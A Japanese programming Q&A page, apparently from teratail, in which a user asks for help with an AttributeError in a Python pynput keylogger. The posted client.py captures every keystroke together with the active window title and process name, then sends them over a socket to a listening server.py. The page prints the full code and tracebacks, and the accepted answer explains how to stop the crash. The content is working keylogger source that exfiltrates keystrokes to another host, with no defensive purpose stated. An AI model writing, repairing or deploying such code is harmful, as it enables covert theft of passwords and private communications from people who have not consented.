質問をすることでしか得られない、回答やアドバイスがある。

15分調べてもわからないことは、質問しよう!

新規登録して質問してみよう
ただいま回答率
85.48%
Python 3.x

Python 3はPythonプログラミング言語の最新バージョンであり、2008年12月3日にリリースされました。

Q&A

解決済

1回答

1998閲覧

AttributeErrorを解消したい!

hoge1243

総合スコア22

Python 3.x

Python 3はPythonプログラミング言語の最新バージョンであり、2008年12月3日にリリースされました。

0グッド

0クリップ

投稿2020/02/24 11:08

前提・実現したいこと

client.pyが取得したキーをserver.pyに渡すプログラムを書いています。
その時に、日本語と英語を変換するキー(ESCの近くにあるやつ)を入力するとclient.pyでエラーが発生します。
ちなみにキーはNONEとされていました。
これを回避する方法を教えてください。

発生している問題・エラーメッセージ

Unhandled exception in listener callback Traceback (most recent call last): File "C:\Users\nodan\Desktop\keylogger.py", line 49, in on_press s.send(b.encode("cp932")) AttributeError: 'NoneType' object has no attribute 'encode' During handling of the above exception, another exception occurred: Traceback (most recent call last): File "C:\Users\nodan\AppData\Roaming\Python\Python37\site-packages\pynput\_util\__init__.py", line 162, in inner return f(self, *args, **kwargs) File "C:\Users\nodan\AppData\Roaming\Python\Python37\site-packages\pynput\keyboard\_win32.py", line 274, in _process self.on_press(key) File "C:\Users\nodan\AppData\Roaming\Python\Python37\site-packages\pynput\_util\__init__.py", line 78, in inner if f(*args) is False: File "C:\Users\nodan\Desktop\keylogger.py", line 51, in on_press if key.name == "shift" or key.name == "alt_l": AttributeError: 'KeyCode' object has no attribute 'name' Traceback (most recent call last): File "C:\Users\nodan\Desktop\keylogger.py", line 49, in on_press s.send(b.encode("cp932")) AttributeError: 'NoneType' object has no attribute 'encode' During handling of the above exception, another exception occurred: Traceback (most recent call last): File "C:\Users\nodan\Desktop\keylogger.py", line 66, in <module> listener.join() File "C:\Users\nodan\AppData\Roaming\Python\Python37\site-packages\pynput\_util\__init__.py", line 210, in join six.reraise(exc_type, exc_value, exc_traceback) File "C:\Users\nodan\AppData\Roaming\Python\Python37\site-packages\six.py", line 702, in reraise raise value.with_traceback(tb) File "C:\Users\nodan\AppData\Roaming\Python\Python37\site-packages\pynput\_util\__init__.py", line 162, in inner return f(self, *args, **kwargs) File "C:\Users\nodan\AppData\Roaming\Python\Python37\site-packages\pynput\keyboard\_win32.py", line 274, in _process self.on_press(key) File "C:\Users\nodan\AppData\Roaming\Python\Python37\site-packages\pynput\_util\__init__.py", line 78, in inner if f(*args) is False: File "C:\Users\nodan\Desktop\keylogger.py", line 51, in on_press if key.name == "shift" or key.name == "alt_l": AttributeError: 'KeyCode' object has no attribute 'name'

該当のソースコード

###server.py

import socket server = socket.socket() server.bind(("192.168.0.14", 6666)) server.listen(1) c , a = server.accept() while True: print(c.recv(126).decode("cp932"))

###client.py

from pynput import keyboard from ctypes import * from ctypes.wintypes import * import socket s = socket.socket() s.connect(("192.168.0.14", 6666)) proc_status = None def get_name_by_pid(pid): PROCESS_ALL_ACCESS = 0x1f0fff hProcess = ctypes.windll.kernel32.OpenProcess(PROCESS_ALL_ACCESS, False, pid) if hProcess == 0: return None buf = ctypes.create_unicode_buffer(1024) ret = ctypes.windll.psapi.GetModuleBaseNameW(hProcess, 0, buf, len(buf)) if ret == 0: return None return buf.value def get_hwnd_n_pid(): hwnd = windll.user32.GetForegroundWindow() pid = ctypes.c_ulong() windll.user32.GetWindowThreadProcessId(hwnd, ctypes.byref(pid)) return hwnd, pid.value def get_window_title(hwnd, pid): length = windll.user32.GetWindowTextLengthW(hwnd) buf = create_unicode_buffer(length + 1) windll.user32.GetWindowTextW(hwnd, buf, length + 1) return buf.value def on_press(key): global proc_status try: hwnd, pid = get_hwnd_n_pid() pid_name = get_name_by_pid(pid) window_title = get_window_title(hwnd, pid) if proc_status == window_title: pass else: print("pid:{0} [{1}] [{2}]".format(pid, pid_name, window_title)) a = ("pid:{0} [{1}] [{2}]".format(pid, pid_name, window_title)) s.send(a.encode("cp932")) proc_status = window_title print(key.char, end="") b = key.char s.send(b.encode("cp932")) except AttributeError: if key.name == "shift" or key.name == "alt_l": print(" [{}]".format(key.name), end="") c = (" [{}]".format(key.name)) s.send(c.encode("cp932")) else: print(" [{}]".format(key.name)) d = (" [{}]".format(key.name)) s.send(d.encode("cp932")) def on_release(key): if key == keyboard.Key.esc: return False with keyboard.Listener( on_press=on_press, on_release=on_release) as listener: listener.join()

気になる質問をクリップする

クリップした質問は、後からいつでもMYページで確認できます。

またクリップした質問に回答があった際、通知やメールを受け取ることができます。

バッドをするには、ログインかつ

こちらの条件を満たす必要があります。

guest

回答1

0

ベストアンサー

キーがNONEかどうかを判定し、NONEなら送信しないようにすればエラーは回避できます。

投稿2020/02/24 11:29

can110

総合スコア38266

バッドをするには、ログインかつ

こちらの条件を満たす必要があります。

あなたの回答

tips

太字

斜体

打ち消し線

見出し

引用テキストの挿入

コードの挿入

リンクの挿入

リストの挿入

番号リストの挿入

表の挿入

水平線の挿入

プレビュー

15分調べてもわからないことは
teratailで質問しよう!

ただいまの回答率
85.48%

質問をまとめることで
思考を整理して素早く解決

テンプレート機能で
簡単に質問をまとめる

質問する

関連した質問